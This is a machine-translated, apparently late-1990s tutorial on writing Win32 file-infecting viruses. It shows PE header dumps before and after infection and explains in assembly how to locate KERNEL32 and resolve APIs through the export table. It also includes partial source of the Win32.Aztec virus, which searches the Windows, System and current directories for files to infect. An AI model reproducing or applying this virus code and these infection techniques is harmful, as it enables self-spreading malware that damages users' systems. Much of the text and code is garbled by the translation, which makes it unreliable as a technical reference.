BYTES of Machine Word Are Reverse ‖ _____ | _______ ‖ --------- PE Optional Header --------------------------- --------------------------- ------------- ‖o_dos | o_pe ‖ (Offset from DOS HEADER / PE Header ‖ ------ | ------ ‖ | 0118H | 0018H | Magic Value: 010bh | | | | 011AH | 001ah | Major Linker Version: 2 | 011bh | 001BH | Minor Linker Version : 25 | | | Linker Version: 2.25 | 011CH | 001CH | Size of Code: 00001200H | 0120H | 0020H | Size of Initialized Data: 00000600H | 0124H | 0024H | Size of Uninitialized Data: 00000000H | 0128H | 0028H | Address of Entry Point 00005200H | 012CH | 002CH | Base of code (.text OFS): 00001000H | 0130H | 0030H | Base of data (.bss OFS): 00003000H | 0134H | 0034H | Image Base: 00400000H | 0138H | 0038H | section Alignment 000010001000200H | 0140H | 0040H | Major Operating System Version: 1 | 0142H | 0042H | MINOR OPER Atting System Version: 0 | 0144H | 0044H | Major Image Version: 0 | 0146H | 0046H | Minor Image Version: 0 | 0148H | 0048H | Major Subsystem Version: 3 | 014AH | 004AH | Minor Subsystem Version: 10 | 014CH | 004ch | Reserved Long: 43545A41H | 0150H | 0050H | Size of Image: 00006600H | 0154H | 0054H | Size of Headers: 00000400H | 0158H | 0058H | File Checksum: 00000000H | 015CH | 005CH | SubSystem: 2 | | | -Image runs in the Windows Gui Subsystem | 15EH | 005E | DLL Characteristics: 0000H | 160H | 0060H | Size of Stack Reserve: 00100000H | 0164H | 0064H | Size of Stack Commit: 00002000H | 0168H | 0068H | Size of Heap Reserve:
00100000H | 016CH | 006CH | Size of Heap Commit: 00001000H | 0170H | 0070H | Loader Flags: 00000000H | 0174H | 0074H | Number Directories: 00000010H ‖ ___________ ‖ [...] -------- PE Section Headers -------------------------------------------------- -------- ‖o_dos | o_pe ‖ (Offset from DOS Header / PE Header "------ | ------ ‖ [...] | 0270H | 0170H | section Name:. reloc | 0278H | 0178H | Physical Address: 00001600H | 027CH | 017CH | Virtual Address: 00005000H | 0280H | 0180H | Size of RAW data: 00001600H | 0284H | 0184H | Pointer to RAW data: 00001C00H | 0288H | 0188H | Pointer to relocations: 00000000H | 028CH | 018CH | Pointer to line numbers: 00000000H | 0290H | 0190H | Number of Relocations: 0000H | 0292H | 0192H | Number of line numbers: 0000H | 0294H | 0194H | Characteristics: F0000060H | | | -Section contains code |. | | -Section contains initialized data. | | | -Section is s Hareable. | | | | - |c s w ra. | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The same file is given below, but is infected by my Aztec (Ring-3 case virus, see below).
-------------------------------------------------- -------------------------------------------------- ------ DOS Information ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------- Analyzed File: Goat002.EXE DOS REPORTS:? File Size - 2600H (09728D)? File Time - 23:20:58 (HH: mm: ss)? File Date - 22/06/1999 ( DD / mm / yy)? Attributes: Archive [...] ------- PE Header ---------------------------------------------------------------------------------------- ------------------------------------------- ‖o_dos | o_pe ‖ (Offset from DOS Header / PE Header "------------- ‖ | 0100H | 0000H | PE Header Signature - PE / 0/0 | 0104H | 0004H | The Machine for this EXE IS Intel 386 (Value =
014CH | 0106H | 0006H | Number of Sections in The File - 0004H | 0108H | 0008H | File Was Linked AT: 23/03/2049 | 010CH | 000CH | Pointer to Symbol Table: 00000000H | 0110H | 0010H | Number of Symbols: 00000000H | 0114H | 0014H | Size of the Optional Header: 00E0H | | | | 0116H | 0016H | File Characteristics - 818EH: | | | -File is executable | | | -Line numbers stripped from file | | | -Local symbols stripped from File | | | | | | | | | | -BYTES of Machine Word Arented | ______ | _______ | --------- PE Optional HEADER ---- ------------------------------------- - ‖O_dos | o_pe ‖ (Offset from DOS Header / PE Header "------- | ------- ‖ | 0118H | 0018H | Magic Value: 010bh | 011ah | 001ah | Major Linker Version: 2 | 011bh | 001BH | Minor Linker Version: 25 | | | Linker Version: 2.25 | 011CH | 0 01CH | Size of Code: 00001200H | 0120H | 0020H | Size of Initialized Data: 00000600H | 0124H | 0024H | Size of Uninitialized Data: 00000000H | 0128H | 0028H | Address of Entry Point: 00005200H | 012CH | 002CH | Base of Code (. text ofs):. 00001000H | 0130H | 0030H | Base of Data (.bss ofs):. 00003000H | 0134H | 0034H | Image Base: 00400000H | 0138H | 0038H | Section Alignment: 00001000H | 013CH | 003CH | File Alignment: 00000200H | 0140H | 0040H | Major Operating System Version: 1 | 0142H | 0042H | Minor Operating System Version: 0 | 0144H | 0044H | Major Image Version: 0 | 0146H | 0046H | MINOR Image Version:
0 | 0148H | 0048H | Major SubSystem Version: 3 | 014AH | 004AH | Minor SubSystem Version: 10 | 014CH | 004CH | Reserved Long: 43545A41H | 0150H | 0050H | Size of Image: 00006600H | 0154H | 0054H | Size of Headers: 00000400H | 0158H | 0058H | File Checksum: 00000000H | 015CH | 005CH | SubSystem: 2 | | | -Image runs in the Windows GUI subsystem | 015EH | 005EH | DLL Characteristics: 0000H | 0160H | 0060H | Size of Stack Reserve: 00100000H | 0164H | 0064H | Size of Stack Commit: 00002000H | 0168H | 0068H | Size of Heap Reserve: 00100000H | 016CH | 006CH | Size of Heap Commit: 00001000H | 0170H | 0070H | Loader Flags: 00000000H | 0174H | 0074H | Number Directories: 00000010H | _______ | _______ | [...] ---------- PE Section Headers ---------------------------------------------------------------------------------------- --------------------------- ‖o_dos | o_pe ‖ (Offset from DOS Header / PE Header " ------ | ------- ‖ [...] | 0270H | 0170H | Section name: .reloc | 0278H | 0178H | Physical address: 00001600H | 027CH | 017CH | Virtual Address: 00005000H | 0280H | 0180H | Size of RAW data: 00001600H | 0284H | 0184H | Pointer to RAW data: 00001C00H | 0288H | 0188H | Pointer to relocations: 00000000H | 028CH | 018CH | Pointer to line numbers: 00000000H | 0290H | 0190H | Number of Relocations: 0000h | 0292H | 0192H | Number of line number | 0000H | 0294H | 0194H | Characteristics:
F0000060H | | | | | | | | | | | | | | | | | | | | | | | - sxtness is writable. | | | | | _______ | _______ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------- Well, I hope this has helped you more understand What did you do when infecting the PE file by adding its last section.
In order to avoid you spend more energy while comparing these each table, I give a list: =========================== ====================================================================================================================================================== ============================================================================================================================================================================================================= ======== | Address of entrypoint | 00001000H | 00005200H | Image File HDR | ----------------------------- --------------------------------- | Reserved1 (inf. Mark) | 00000000H | 43545A41H | Image File HDR | -------------------------------------------------- ----------- | Virtual size | 00001000H | 00001600H | Section header | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------ | SIZE OF RAW DATA | 00000200H | 00001600H | Section Header | -------------------------------------------------- --------- | Characteristics | 50000040H | F0000060H | Section header | ------------------------------- ------------------------------ realizes this code is very simple. For those who have not seen the code, you can look at Win32.aztec, which will be described in detail in the next chapter.
[Ring-3, in the user-level programming] ~~~~~~~~~~~~~~~~~~~~~~~~~~ ah, the user level has given us all a lot of depressing And inconvenient restrictions, this is correct, which hinders the freedom we worship, this kind of freedom we feel when writing DOS viruses. But, guys, this is life, this is our sorrow, this is Micro $ OFT. BTW, this is the only way to completely Win32 compatible viruses, and this environment is the future, as you have to know. First, let us see how to use a very simple way to get the base address of KERNEL32 (for Win32 compatibility):% get a simple method for the Kernel32 base address ~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~ As you know, when we perform an app, the code is part of the Kernel32 "Call" (like Kernel call) The same as our code). Moreover, if you still remember, when a Call call, the returned address is in the stack (ie, in the memory address specified by the ESP). Let us see an actual example of this: --------------- From here to start cut ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------- .586p; bah ... simply for phun. .Model flat; hehehe I love 32 bit stuph;) .DATA; Some Data (Needed by Tasm32 / TLINK32) DB? .code start: MOV EAX, [ESP]; Now Eax Would Be bff8xxxxh (IF W9X); IE, Somewhere Inside the API; CreateProcess :) ret; return to it ;) End start; ------------ here so she cut -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------- quite simple. We get a value in Eax is approximately bff8xxxx (xxxx is an unimportant value, this is why you don't need to know it accurately, you don't need to take those bored things to bother me :)). Because Win32 platforms are usually aligned to a page, we can search for the beginning of any page, and because kernel32 is on a page, we can easily check it. And when we find the PE header I am discussing now, we know the base address of the KERNEL32. Well, as a limit, we can limit at 50h.
Oh, don't worry, the following is some code:); -------- From here to start cut ----------------------- ----------------------- .586p .Model flat extrn exitprocess: proc .data limit EQU 5 DB 0; ---------- ----------------------------; Useless and meaningless data :) ;;; ---------- ---------------------------- .code test: Call delta Delta: Pop EBP SUB EBP, OFFSET DELTA MOV ESI, [ESP] and ESI, 0FFFF0000H Call getk32 push 000000000h Call EXITPROCESS; -----------------------------------; Hey, I think you are at least an ordinary ASM programmer, so I assume that you know that the first piece of the instruction is to get; the address offset change amount (especially in this example, however, I like to make it like our virus Code). The second piece is something we are interested in. We put the addresses that we started to call in ESI, namely the ESP; the address displayed (of course, if we do not touch the stack after the program is loaded). The second instruction, that; and, is to get the beginning of the page that our code is calling. We call our routines, after this, I; the end processing :); ----------------------------- ------ getk32: __1: CMP BYTE PTR [EBP K32_LIMIT], 00H JZ Wefailed Cmp Word PTR [ESI], "ZM" JZ Checkpe __2: Sub ESI, 10000H DEC BYTE PTR [EBP K32_LIMIT] JMP __1 ; -------------------------------------; First, we check that we have reached our limit (Page 50). After that, we check if the top of the page; the head (it should be) is a MZ flag, and if we find it, we continue to check the PE header.
If we don't, we decrease; go 10 (1000h bytes), we add restriction variables, search again; ------------- ---------- CHECKPE: MOV EDI, [ESI 3CH] Add Edi, ESI CMP DWORD PTR [EDI], "EP" JZ Weigotk32 JMP __2 Wefailed: MOV ESI, 0BFF70000H Wegotk32: Xchg Eax, ESI RET K32_LIMIT DW LIMIT; --------------------------------------; after we start at the MZ head The offset address 3ch gets the value (where to start the PE header RVA), we specifically determine this; value and page address, and if the memory address flag at this offset address is PE flag, we will fake It has been found ... and we have indeed found it! ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---- End test; -------- to here cut -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------- a suggestion: I tested it, and I didn't give us any type of problem under WinNT4 SP3, however, I I don't know what happens anywhere, I suggest you use SEH to avoid possible page errors (and the blue screen related to them). SEH will be introduced later. Hey, Lord Julus uses the method used in his tutorial (searching the getModuleHandlea function in the infection file) does not meet my needs, anyway, I will give that my own version of the code, where I will Explain how to play the input function. For example, it is used in the Per-Process resident virus. There is a small change in this routine:)% Gets the crazy API function !!!% ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ As I introduced this chapter, Ring-3 is user-level, so we can only access its limited permissions. For example, we cannot use ports, read or write some memory areas, and so on. When developing Win95 (those "Win32 platforms who have no one say that they are not infected"), Microsoft suppresses the virus written in the past, Microsoft is convinced to defeat us. In their dream, they think we can't use their API functions, and they don't think we can jump to Ring-0, but this is another history. As you have said before, we use the API function name as an external function, so import32.lib gives our function address, and it has been compiled, but we have a problem when writing viruses. If we have a fixed offset address when we call an API function), the most likely thing is in the next version of Win32 version, that address does not work. You can look at an example in BIZATCH. What should we do? Ok, we have a function called getProcadDress, which is returned to us is the address of the API we need. Smart, you may have noticed that getProcadDress is also an API, so if we don't get that API, please talk about it to search for other APIs.
As we encountered in life, we have many possibilities to do, and I will mention the two methods I think: 1. Search for the getProcAddress API function in the input table. 2. When we infect a file, look for getProcAddress in its input function. Because the earliest method is the first, guess now I will explain which one? :) OK, let us start with theoretical learning, after this, some code. If you look at the format of the PE header, we get the input table at the offset address 78h (the PE header, not a file!). Ok, we need to take advantage of the output address of the kernel. Under WINDOW 95/98, the kernel is usually at the offset address 0BFF70000H, and the core of the Window NT looks at 077F00000H. In Win2k we get it at offset address 077e00000h. So, first, we save its address to the register, we will use it as a pointer. I strongly recommend using ESI, mainly because we can optimize something by using Lodsd. Ok, we check that "MZ" at this address (En, "ZM", the dead Intel processor architecture), because the kernel is a library (.dll), and the library has a pe header, just as we When you look at the PE header, it is seen when DOS-compatible part. After that comparison, let's check it is PE, so we arrive at the offset image_base [3ch] (= 3CH offset of the ket offset of the kernel), search comparison "PE / 0/0" , The signature of the PE file. If all are correct, let's continue. We need to output the RVA of the table, as you can see, it is at the offset address of the PE header 78H. So we got it. However, as you know, RVA (Relative Virtual Address), as its name is indicated, is the relative value of an offset, in this image base for Kernel, just as I said before, then It is its address. It's as simple: just add the offset of the KERNEL to the RVA in the output table (Export Table).
Ok, we are now in the output table :) Let's take a look at its format: ----------------------------- ----- <---- 00000000H | Export Flags | Size: 1 DWORD | ----------------------------- ----- | <---- 00000004H | Time / Date Stamp | Size: 1 Word | -------------------------- ------------------------------------------------------------------------------------------------------------- --------- | <---- 00000008H | Minor Version | Size: 1 DWORD | ------------------------------------------------------------------------------------------------- ---------- | <---- 000000ch | Name RVA | Size: 1 DWORD | ----------------------- ----------- | <---- 00000010H | Number of Exported Functions | Size: 1 DWORD | -------------------- --------------------------------------------- ----------------- | <---- 0000000018H | Export Address Table RVA | Size: 1 DWORD | -------------- ---------------------- | <---- 0000001CH | Export Name Pointers Table RVA | Size: 1 DWORD | ---------------------------------------- 00000020H | Export Ordinals RVA | Size: 1 dword | _________________________________ | Total Size: 24h Bytes is the last six domains for us. In the address table RVA, you can imagine that Name Pointers RVA and Ordinal RVA are related to the base address of Kernel32. So, the first step in getting the API address is to know the location of this API, and know that its simplest method is to find the offset address indicated by Name Pointers, compare it and what we want to find, If they are exactly the same, we have to calculate the offset address of the API. Ok, we have arrived this step, and we have a value in the counter, because we didn't check the name of the API. This counter, as you can imagine, will save the number of API names we have found, and they are not equal.
This counter can be a word or a double word, but it is best not to be a byte, because we need more than 255 API functions :) Description: I assume you to put the address VA (RVA kernel image base), Name, and The order table) Ordinal Tables has been saved to the related variables. OK, suppose we have obtained the name of the API we want to get, so we got a count in the name pointer table. Next, you may be the most complicated to you, start WIN32 encoding. Well, let us continue. We got counting, and we now have to search for the order of the API we want to get in the Ordinal Table (a DWORD array). When we get the number of APIs in arrays (in counters), we only multiply it by 2 (remember, the order array is composed of words, so we must calculate the word ...), and of course , Add it to the start offset address of the order table. In order to continue I have explained something, we need to point to the word: API's Ordinal Location: (counter * 2) Ordinal Table VA is simple, is it? The next step (and the last step) is the determination address of the API from the address table. We have got the serial number of the API, right? Using it, our life is very easy. We only multiply the serial number 4 (because the address array is double word instead of the word, and a double word size is 4), and it adds it to the offset address starting with the previous address table. Oh, now we get the RVA of the API address. So we have to standardize it, plus the Kernel offset address, that's it.
We got it !!! Let's take a look at this mathematical formula: API's Address: (API's Ordinal * 4) Address Table Va Kernel32 ImageBase ---------------------------------------------------------------- -------------------------------------------------- - SO, AS We Retrieve The Position | Entrypoint | Ordinal | Name | That Occupies The String in The | ------------------------------------------------------------------------------------ ----------------------------------------- | Names Table, We can know its | 00005090 | 0001 | Addatoma | Ordinal (Each Name Has An ORDI- | ------------------------- | ------------------------------- | Nal That Irs in the Same position | 00005100 | 0002 | Addatomw | Than the API Name), and knowing | --------------------------- | ------- -------------------------- | THE ORDINAL, WE CAN KNOW ITS | 00025540 | 0003 | Address, That IS, ITS EntryPoint | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------- | RVA. WE NORMALIZE IT, And Voila, | 00025500 | 0004 | AddConsolealiasw | You have what you need There are more entrances, but there are those who have already understood what I explain. I tried to make it simple as possible, if you can't understand it, don't look down, and read it step by step. be patient. I am sure you will understand. Well, now you may need some code. The following is given, as an example, used in my Iced Earth virus. ; ---- From here you start cut -------------------------------------- -------------------; GetApi & getapis procedures; ======================== === ;; This is my function that I find all the needs ... They are divided into two parts. The GetAPI function only gains a function we need, while the getapis function; all API functions needed to search for viruses.
GetApi Proc; ---------------------------------------------- ----------------------------; Let's take a look, the parameters that this function needs and returns is as follows:;;; enter: ESI : Point pointer to the name of the API (case sensitive); Output: Eax: API address; ------------------------------- ------------------------------------------ Mov Edx, ESI; Save Ptr To name @ _1: cmp byte PTR [ESI], 0; Null-Terminated char? jz @ _2; yeah, we got it. Inc ESI; NOPES, Continue Searching JMP @ _1; bloomz ... @ _2: inc HEH, DON't Forget this;) SUB ESI, EDX; ESI = API Name Size MOV ECX, ESI; ECX = ESI :); -------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------; Ok, my dear friend, this is easy to understand.
We point to the name of the API name in ESI, let us imagine, we want to find "findfirstfilea":;; fffa db "findfirstfilea", 0; ↑ Pointer pointing here;; and we need to save this pointer, and Know the size of the API name, so we save the initial pointer to the API name to a register we don't need in the register; then increase the value of the pointer in the ESI until [ESI] = 0; FFFA DB "Findfirstfilea ", 0; ↑ Now the pointer points here;" That is to say, the end of NULL :) Then, by minimizing the old pointer, we have; go to the API name, the search engine needs it. Then I saved it to ECX; it is also a register we won't use. ; ------------------------------------------------- -------------------------- XOR EAX, EAX; EAX = 0 MOV Word PTR [EBP Counter], AX; Counter set to 0 MOV ESI, [EBP KERNEL]; GET KERNEL'S PE Head. Offset Add ESI, 3CH LODSW; In Ax Add Eax, [EBP KERNEL]; Normalize It Mov ESI, [EAX 78H]; Get Export Table RVA Add ESI, [ EBP KERNEL]; Ptr to Address Table RVA Add ESI, 1CH; --------------------------------- ----------------------------------------; First, we clear Eax, then to avoid Unrecognized errors, making the count variable of 0. If you still remember the role of the PE file header offset address 3ch (from the image base MZ flag start counting), you will understand this. We are requesting the beginning of the Kernel32 PE header offset. Because; it is a RVA, we standardize it, that is, we get its PE header offset address.
Now what we have to do is the address of the export table (at PE header 78h),; then, we avoid the unwanted data of this structure, directly obtain address table (address table; RVA) . ; ------------------------------------------------- -------------------------- Lodsd; EAX = Address Table RVA Add Eax, [EBP KERNEL]; Normalize Mov DWORD PTR [EBP AddRessTableva ], Eax; EAX = Name Ptrz Table RVA Add Eax, [EBP KERNEL]; Normalize Push Eax; MOV [EBP NameTableva], EAX LODSD; EAX = Ordinal Table RVA Add Eax, [EBP kernel]; Normalize Mov DWORD PTR [EBP OrdinalTableva], ESI; STORE IN VA FORM POP ESI; ESI = Name Ptrz Table Va; -------------------------------------------------------------------------------------------------------------- -------------------------------------------------- ----- If you still remember, in ESI pointer to address table RVA (Address Table RVA), so we used a LODSD in order to get that address, which puts the double word specified by ESI (DWORD) guarantee; save to EAX. Because it is a RVA, we need to standardize it. Let's take a look at Matt Pietrek's description of this first domain:;; "This domain is a RVA and points to a function address array. This function address is in this module; the entry point of each output address (RVA) ";;; No doubt, we save it to its variable. Then, then we are found; name pointer table, Matt Pietrek describes the following:;; "This domain is a RVA, and points to a string pointer array. These strings are modules; output functions name.
"; But I didn't save it into a variable, I put it on it, just because I quickly used it; it. Finally, we found it, the following is the description of Matt Pietrek:; "This domain is a RVA, and points to a word (Word) array. These words are the module; the serial number of all output functions ".;; Ok, that is what we do.; ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------- --- @ _3: Push ESI; Save ESI for L8R Restore Lodsd; Get Value PTR ESI in Eax Add Eax, [EBP KERNEL]; Normalize Mov ESI, ESI, ESI = VA of API Name Mov Edi, EDX; EDI = Ptr to Wanted API PUSH ECX; ECX = API Size CLD; COLAR DIRECTION FLAG Rep CMPSB; Compare Both API Names Pop EcX; Restore ECX JZ @ _4; Jump If API ARE 100% Equal Pop ESI; Restore ESI Add ESI, 4; And Get Next Value of Array INC Word PTR [EBP Counter]; Increase Counter JMP @ _3; Loop Again; ---------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------; Hi, is I put it? Too many code is not comment? Because I just did it, I understood this piece of code; I can't separate it because it is explained. What we do first is to put ESI (change in the execution of CMPSB instructions); stack, for use. Then, we get the double word pointed to by ESI (Name Pointerz Table); in the accumulator (EAX), all of these is implemented by the LODSD instruction. We use the base address of KERNEL to specify;
Ok, now we are pointing to a pointer to a API name in EAX, but we don't know (still); what API is. For example, EAX can point to such as "createProcessa", and this API comes to our virus; saying that it is not interested ... In order to put the string and the string we want (now by EDX point), we have CMPSB. Therefore, we prepare it to the parameters: In ESI, we make pointer points to the beginning of the API now in the Name Pointerz Table, in EDI, we point to the required API). In ECX we save its size, then we compare them by bytes. If all characters are equal, set 0 flags, then jump to get that API; address, but if it fails, we restore ESI, add it to DWORD size, for getting; in Name Pointerz Table The next value in the array. We increase the value of the counter (very important), then; continue to search. ; ------------------------------------------------- -------------------------- @ _4: POP ESI; Avoid Shit in Stack Movzx Eax, Word PTR [EBP Counter]; GET IN AX THE Counter SHL Eax, 1; Eax = AX * 2 Add Eax, DWORD PTR [EBP OrdinalTableva]; Normalize XOR ESI, ESI; CLEAR ESI XCHG EAX, ESI; EAX = 0, ESI = Ptr To Oord Lodsw; Get Ordinal In AX SHL EAX, 2; EAX = AX * 4 Add Eax, DWORD PTR [EBP AddresStableva]; Normalize Mov ESI, ES; ESI = Ptr To Address RVA Lodsd; EAX = Address RVA Add Eax, [EBP KERNEL]; Normalize And all is done. ret; ------------------------------------------- --------------------------------; PFFF, another huge code block, and it seems difficult to understand Is it right? Oh, don't be afraid, I will want; note it :); Hey, the POP command is to clear the stack, we put the count value (because it is a word) to the low of Eax; medium, and put this register High clear 0. We multiply it by 2, because we only got its numbers, and the array we want to search is a Word array.
Now add it to the array of arrays we want to search; pointers, and the serial number of the pointer we want in EAX. So we save EAX to ESI to make it; use that pointer to get the value it pointing, that is, the serial number is saved in Eax, using simple Lodsw. He got the serial number, but we want is an entry of the API code (EntryPoint), so we; transfer the order (saved the desired API in the address table in the address table), that is Say the size of DWORD, then we get a RVA value, related to Address Table RVA, so we standardize, then now; we get the entry point of the API in the address table in EAX. We assigned ESI to ESI in EAX; This allows us to get the value of the entrance RVA of the required API in EAX. Hey, now we; must do it to standardize the address and kernel32's base address, oh, we are in Eax; get the real address of the API !!!;); ------- -------------------------------------------------- --------------------------------------------------------------------------------------------------- ----------------------------------------------; --- -------------------------------------------------- ---------------------- Getapis proc; ------------ -------------------------------------------------- OK, this is to get all the API code by using the previous function, its parameters are:;; input: ESI: pointing to the first address of the first API name ASCII code you want to get; EDI: Point to saving Want to get the first API variable; output: no.
Well, I assume that the structure of all the values you want to get is as follows:;; ESI points → DB "findfirstfilea", 0; DB "findnextfilea", 0; DB "closehandle", 0; [...]; DB 0BBH; marks the end of this array; EDI points → DD 00000000h; FFFA's future address; DD 00000000H; FNFA's future address; DD 00000000h; CH future address; [...]; I hope you Smart enough, understand it. ; ------------------------------------------------- -------------------------- @@ 1: push esi push edi call getapi pop eDi pop esi stosd; -------- -------------------------------------------------- -----------------; We put the value in this function to avoid them change and call the getApi function. We assume that the ESI is a pointer to the name of the API, and EDI is a pointer to the variable to handle the API name; Because the function returns to the offset address to our API in EAX, we save it to the related variables pointing by EDI by using Stosd. ; ------------------------------------------------- -------------------------- @@ 2: cmp byte PTR [ESI], 0 JZ @@ 3 Inc ESI JMP @@ 2 @@ 3: CMP BYTE PTR [ESI 1], 0BBH JZ @@ 4 Inc ESI JMP @@ 1 @@ 4: RET getapis endp; -------------------- -------------------------------------------------- -----; I can optimize, I know, but, in order to better explain my explanation.
What we do first is to reach us; the end of the string of the previously requested address, now it points to the next API. But we want to know if it is; is the last API, so we check our logo, byte 0bbh (guess why 0bbh?). If it; yes, we have got all the APIs you need, and if not, we continue our search. ; ------------------------------------------------- --------------------------; ------ come here with cut ------------ ------------------------------------------ huh, I make as much as possible These processes are simple, and I have a lot of comments, you will be able to understand it. And if you are copying nor my problem ... Oh, I don't allow you to copy it :) But now the question is what API should we search? This mainly depends on the way to do PE operation. I will give you a virus with a direct behavior (ie period period) version, which uses file mapping count (easier to operate and faster), I will list you can use the API function. % A viral example% ~~~~~~~~~~~~~ Don't think I am crazy, I will put a virus here is just to avoid annoying all API things, but also Look at their roles :) Ok, let's get what I have recently created. I spent an afternoon to complete it: I put it based on Win95.ICed Earth, but there is no bug and special functions. Enjoy this Win32.aztec! (Yeah, Win32 !!!). ; ---- From here you start cut -------------------------------------- -------------------; [Win32.aztec v1.01] - Iced Earth BUG repair version; Copyright (c) 1999 by Billy BelceBu / Ikx ;; virus name : Aztec v1.01; virus: Billy BelceBu / IKX; nationality: Spain; platform: win32; goal: PE file; compilation: Tasm 5.0 and TLINK 5.0; TASM32 / ML / M3 Aztec ,;; TLINK32 / TPE / AA / C / V AZTEC, AZTEC, IMPORT32.LIB ,; Pewrsec Aztec.exe; Description: All things are special. Just iCed Earth virus bug repair, and removing some special features; this is a true virus that learns Win32 virus.
Why is 'aztec'?: Why is this name? Many reasons:;? Hernan Cortes Used for Steal; THEIR TERRITORY TO THE AZTECS;? I like the kind of mithology the Had;);? My sound card is an aztec :);? I love Salma hayek !:) ~; Kidchaos is mine A friend :); greet: this time only greets all people in Ezln and MRTA.
I wish everyone good luck, and ... continue to fight !; (c) 1999 BilceBu / Ikx .386p; need 386 =) .Model flat; 32-bit register, no segment. JUMPS; To avoid jump out of the range EXTRN MessageBoxA: PROC; input generated the first time the API function :) extrn ExitProcess: PROC;; useful equvirus_size virus equ (offset virus_end-offset virus_start) heap_size equ (offset heap_end-offset heap_start) total_size equ virus_size heap_sizeshit_size EQU (Offset Delta-Offset Aztec); is only coded for the first time, do not worry; Bugfixed Version of My Iced Earth ", 10 DB" Virus, with some Optimization and with with with with so ", 10 dB" 'special' features removed. Anyway, it will ", 10 dB "Be able to spread in the wild surcefully :)", 10, 10 db "(c) 1999 by billy belcebu / ikx", 0; ----------------- -------------------------------------------------- ------; All of this is a shit: Some macros can make these code better, and some are for the first time, and so on.
; ------------------------------------------------- -------------------------- .codevirus_start label byteaztec: pushhad; Push All Register Pushfd; Push Flag Register Call Delta; The most difficult code; Delta: POP EBP MOV EAX, EBP SUB EBP, OFFSET DELTA SUB EAX, SHIT_SI; Obtain The Image Base on Sub Eax, 00001000H; The Flyneweip EQU $ -4 MOV DWORD PTR [EBP MODBASE], EAX; ---- -------------------------------------------------- ---------------------; OK. First, I put all the registers and all the flags (not because you need this, just; because I always like to do this). Then, what I do is very important. Yes! It is delta offset!; We must get it because you have to know: We don't know where we are in memory, you can easily know it ... I won't Tell you more about delta offset, because I am sure you have already known from DOS coding;) Next Base, this is an image base, this needs to return control to the main body (will Before doing). First we subtract bytes in Delta logo and aztec; (7 bytes-> pushhad (1) pushfd (1) call (5)) byte, then we subtract current EIP; (patch in infection) That is to say we got the current base base. ; ------------------------------------------------- -------------------------- MOV ESI, [ESP 24h]; get the program Return address and ESI, 0FFFF0000h; and 10 pages to its MOV ECX, 5; 50 (10 groups) CALL getk32; call it MOV DWORD PTR [EBP KERNEL], EAX; EAX must be the base of K32; ---------------- -------------------------------------------------- ---------; First, we are put on the address obtained from the calling process (it may be, it may be the address of the CreateProcess API function); ESI, it is initially pointed by the ESP, but when we Using the stack pressure 24 bytes (20 by pushad, other PUSHFD), we have to correct it.
Then we make it on page 10, so that the low of ESI is 0. After this, we set other parameters of the getk32 function, ECX, save the maximum number of groups to search for 10 pages,; 5 (that is, 5 * 10 = 50 pages), then we call functions. When it returns to us correct kernel32; after the base address, we save it. ; ------------------------------------------------- -------------------------- LEA EDI, [EBP @@ Offsetz] Lea ESI, [EBP @@ namez] Call getapis; find all API Call Prepareinfection Call Infectital; -------------------------------------------------------------------------------------------------------------------------------------- ------------------------------; First, we set the parameters of the getapis function, which is a pointer in EDI, this The pointer points to the will; saves the DWORD array of the API address, in ESI is the ASCII name of all API functions to search. ; ------------------------------------------------- -------------------------- XCHG EBP, ECX; isn't it the first time? Jecxz Fakehost Popfd; restore all the logo popad; restore all Register MOV Eax, 12345678h Org $ -4OLDEIP DD 00001000H ADD EAX, 12345678H ORG $ -4Modbase DD 00400000H JMP EAX; ------------------------- -------------------------------------------------- First, let's see if we produce viruses in the first time, by detecting the value of EBP is 0. If so, we jump to the place where the first time. However, if it is not, let's restore the logo register from the stack, and next is all registers. Then our instructions are old entrance addresses (in infection; when they are patch), then we will add the base address of the current process (in the running patch), I jump to it.
; ------------------------------------------------- -------------------------- PrepareInfection: Lea EDI, [EBP WindowsDir]; point to the first directory PUSH 7FH; put the cache size pressure Stack Push EDI; put the cached address stack call [EBP _GETWINDOWSDIRECTORYA] to get the Windows directory add edi, 7fh; point to the second directory PUSH 7FH; put the cache size stack Push EDI; put the cached address stack Call [ EBP _GETSYSTEMDIRECTORYA]; Get a Windows / System Directory Add EDI, 7FH; point to the third directory Push EDI; put the cached address stack PUSH 7FH; put the cache size stack call [EBP _GETCURRENTDIRECTOREA]; get the current directory RET; -------------------------------------------------- -------------------------; This is a simple directory for obtaining a virus to search for files to infect, and press this specific order. Because the maximum length of a directory is 7F bytes, I have saved to the three consecutive variables of the stack (see below); thus avoiding useless code accounts for more bytes, and data useless with viral propagation. Note that there is no error in the last one; there is no error in the API, because in that API, the order changes. Let us make a more important to that API;;;;;;;;;;;;;;;;;;;;;;;;;;;; The Windows Vision contains some Windows-based applications, initialization files, and help files. ; Uint getWindowsDirectory (;) The cache address of the Windows directory; UINT usize // directory cache size;);;;; parameter; ====; lpbuffer: Pointing the path to the path to accept NULL String cache. This path is not in one; the reverse slope is ended unless the Windows directory is rooted.
